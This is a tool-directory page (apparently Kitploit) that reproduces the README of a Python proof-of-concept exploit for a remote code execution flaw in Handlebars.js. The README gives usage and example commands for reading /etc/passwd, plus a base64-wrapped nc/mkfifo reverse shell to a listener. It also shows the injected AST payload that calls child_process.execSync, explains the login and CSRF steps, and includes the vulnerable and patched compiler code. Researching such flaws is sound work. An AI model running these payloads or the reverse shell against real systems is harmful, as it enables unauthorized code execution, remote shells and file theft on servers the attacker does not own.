Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-33937 — Python POC, Exploit for Handlebars.js AST Injection RCE, Handlebars.js versions 4.0.0 through 4.7.8 are affected. CVSS score: 9.8 Critical. | Kitploit
Tools/GitHubGitHub/c0gnit00/cve-2026-33937
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubc0gnit00/cve-2026-33937

CVE-2026-33937

Python POC, Exploit for Handlebars.js AST Injection RCE, Handlebars.js versions 4.0.0 through 4.7.8 are affected. CVSS score: 9.8 Critical.

View Repository
1121 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-33937 — Handlebars.js AST Injection RCE

Handlebars.js versions 4.0.0 through 4.7.8 are affected. CVSS score: 9.8 Critical.


Overview

CVE-2026-33937 is a type confusion vulnerability in Handlebars.js. The Handlebars.compile() function accepts both a template string and a pre-parsed AST object as input. When an attacker passes a crafted AST object, the compiler's NumberLiteral visitor inserts the node's value field verbatim into the generated JavaScript function body without any sanitization. Calling render() on the result executes attacker-controlled code inside the Node.js process.


Usage

python3 exploit.py --url <target>  --username <email> --password <pass> --command  <cmd>

Arguments

  • --url — Base URL of the target, e.g. http://hello.veer/ (required)
  • --username — Login email address (required)
  • --password — Login password (required)
  • --command — OS command to execute, default is id (optional)

Examples

# Verify RCE
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id

# Read a file
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'

# To get reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0

python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload>  | base64 -d | bash'

How It Works

Step 1 — Authentication

The script performs a full login before exploiting. It first sends a GET request to /login to scrape the hidden _csrf token from the form, then submits that token along with the provided email and password as a form-encoded POST to /login. On success the server returns a 302 redirect to /dashboard and sets the dz.sid session cookie which is used for all subsequent requests.

A fresh CSRF token is fetched automatically before each POST request because the app's CSRF middleware requires one on every mutating operation.

Step 2 — Injection Point

The application exposes POST /character which accepts Content-Type: application/json. This route creates a new D&D character and, when campaign_id is provided, passes the campaign_message field directly to Handlebars.compile() on the server:

// Server-side Node.js (vulnerable)
const render = Handlebars.compile(campaign_message);  // no type check
const output = render({ name, race, class });          // payload executes here
// output is stored as a campaign log entry

When the request body is JSON, campaign_message can be a nested object (the AST) rather than a string, bypassing any form-layer string validation. The campaign_id field causes the server to store the rendered result as a campaign log message, which is then readable at GET /campaign/1 — giving the attacker out-of-band command output.

Step 3 — AST Payload

The exploit uses the NumberLiteral combined with the lookup helper.

Normal compilation of {{lookup this 1}} produces:

env.helpers.lookup(this, 1, {options})

The injected NumberLiteral.value replaces the 1 with:

{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //

The emitted JavaScript becomes:

env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <remainder of expression is commented out>

When render() is called, execSync() fires and its stdout is returned as the expression value, which is stored as the campaign message.

Commands are wrapped internally as /bin/sh -c 'cmd 2>&1' so that commands with spaces, pipes, and redirects work correctly and stderr is captured alongside stdout.

Step 4 — Output Extraction

The script records the number of campaign messages before sending the payload. After the POST it fetches /campaign/1 again and slices messages[before_count:] to isolate the newly added entry. This approach correctly handles cases where the same command has been run before, since a set-based comparison would deduplicate identical outputs and miss the new result.


Technical Root Cause

Inside Handlebars.js javascript-compiler.js, the vulnerable code is:

// Versions 4.0.0 – 4.7.8
NumberLiteral(number) {
    this.pushStackLiteral(number.value);  // value inserted verbatim, no type check
}

Version 4.7.9 adds a type check at the compile() entry point that rejects any non-string input before the code generator is ever reached:

// Patched in 4.7.9
if (typeof input !== 'string') {
    throw new Handlebars.Exception(
        'You must pass a string or Handlebars AST to Handlebars.compile.'
    );
}

References

  • CVE-2026-33937 PoC by dinhvaren: https://github.com/dinhvaren/cve-2026-33937
  • Handlebars.js: https://handlebarsjs.com
  • Handlebars GitHub: https://github.com/handlebars-lang/handlebars.js

Disclaimer

This repository is intended solely for security research and education. Only use this exploit against systems you own or have explicit written authorization to test.

Download Tool